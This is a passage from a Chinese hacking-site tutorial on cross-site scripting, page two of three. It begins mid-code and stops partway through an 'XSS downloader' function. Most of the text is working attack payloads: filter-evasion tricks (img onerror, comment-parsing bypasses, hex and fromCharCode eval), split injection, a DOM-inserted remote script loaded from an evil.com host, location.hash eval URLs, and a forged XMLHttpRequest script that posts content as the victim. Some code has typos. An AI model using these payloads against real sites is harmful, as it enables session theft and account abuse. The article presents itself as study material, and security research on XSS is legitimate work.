欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

初探XSS

来源:本站整理 作者:佚名 时间:2016-10-08 TAG: 我要投稿
'));

}

使用CSS会因浏览器不同产生各种差异

(7)扰乱过滤规则:

1.<image/src="xx">  IE6能成功执行

2.expression中可使用全角字符

3.也可以用sql注入一样使用/**/代替空格

4.<button onclick="eval('\x61\x6C\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29');">点击就送</button>

wps9014.tmpeval()配合String.fromCharCode();可以执行10进制的脚本,

5. 浏览器解析HTML时,注释存在问题

<!--<img src="--><img src=x onerror=alert(1) //">

<comment><img src="</comment><img src=x onerror=alert(1) //">

6.使用纯文本逃避过滤

<system><img src="</style><img src=x onerror=alert(1) //">

拆分跨站法

很多时候输入长度有限制但没有严格过滤的时候可以使用剑心的拆分跨站法绕过输入限制,前提是输入至少能容纳<script>var x="d"</script>

<script>var x="document.write('<script>alert(1)</script>')"</script>

将上述依据拆分成x="o";

XSS中动态调用远程javaScript

1. 如交互点也是get请求的参数那么可以直接在URL中使用javascript,但是比较明显。没有掩藏攻击意图。

所以应该用编码或者远程加载的方式来加载javascript

2. 使用DOM插入

var s=document.createElement("script");

s.src="http://www.evil.com/xss.js";

document.getElementsByTagName("head")[0].appendChild(s);

grtElementsByTagName()函数查找返回文档中第一个元素,利用appendChild()函数调用元素参数s,追加指定的节点到子节点列表最后一个。就是把<script>插到<head>后面

3. 使用location调用语句

eval()有计算字符串并执行js代码的作用,而location.hash.substr(1)就是计算出#后的字符串给予eval函数给执行。所以执行了alert(/xss/);

xss')">http://www.bug.com/veiw.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')

以下即是通过url执行XSS跨站的脚本事例

http://www.bug.com/veiw.php?sort="><script>eval(location.hash.substr(1))</script>

# var url="/index.php?mod=blog&act=dopost";

var content="blog_content=By%3A%E5%AD%A4   ";

function _sd_Post(Url, Args){

var xmlhttp;

var error;

eval('try {xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}catch(e){ xmlhttp=null;error=e;}');

if(null!=xmlhttp){ xmlHTTP.Open("POST",Url,false); xmlhttp.setRequestHeader("x-requested-with","XMLHttpRequest");

xmlhttp.setRequestHeader("Referer","http://www.my.com/api_proxy.html");

xmlhttp.setRequestHeader("Accept","application/json, text/javascript,*/*");

xmlhttp.setRequestHeader("Conteng-Type","application/x-www-form-urlencoded");

xmlhttp.setRequestHeader("Host","www.my.com");

xmlhttp.Send(Args);

strText=xmlhttp.responseText;}}_sd_Post(url,content);

}

XSS Downloader

此种方式可以在事先插入了XSS代码后,再通过XSSdownloader下载再执行。

function XSS(){

var xmlhttp;

if (window.XMLHttpRequest)

  {// code for IE7+, Firefox, Chrome, Opera, Safari

  xmlhttp=new XMLHttpRequest();}

else

  {// code for IE6, IE5

  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}

xmlhttp.onreadystatechange=function()

  { if (xmlhttp.readyState==4 && xmlhttp.status==200)

    { var  b=xmlhttp.responseText;

//第一层过滤是为了拿到body

    var c=b.substring(b.indexOf('<body>'),b.indexOf('</body>'));

上一页  [1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载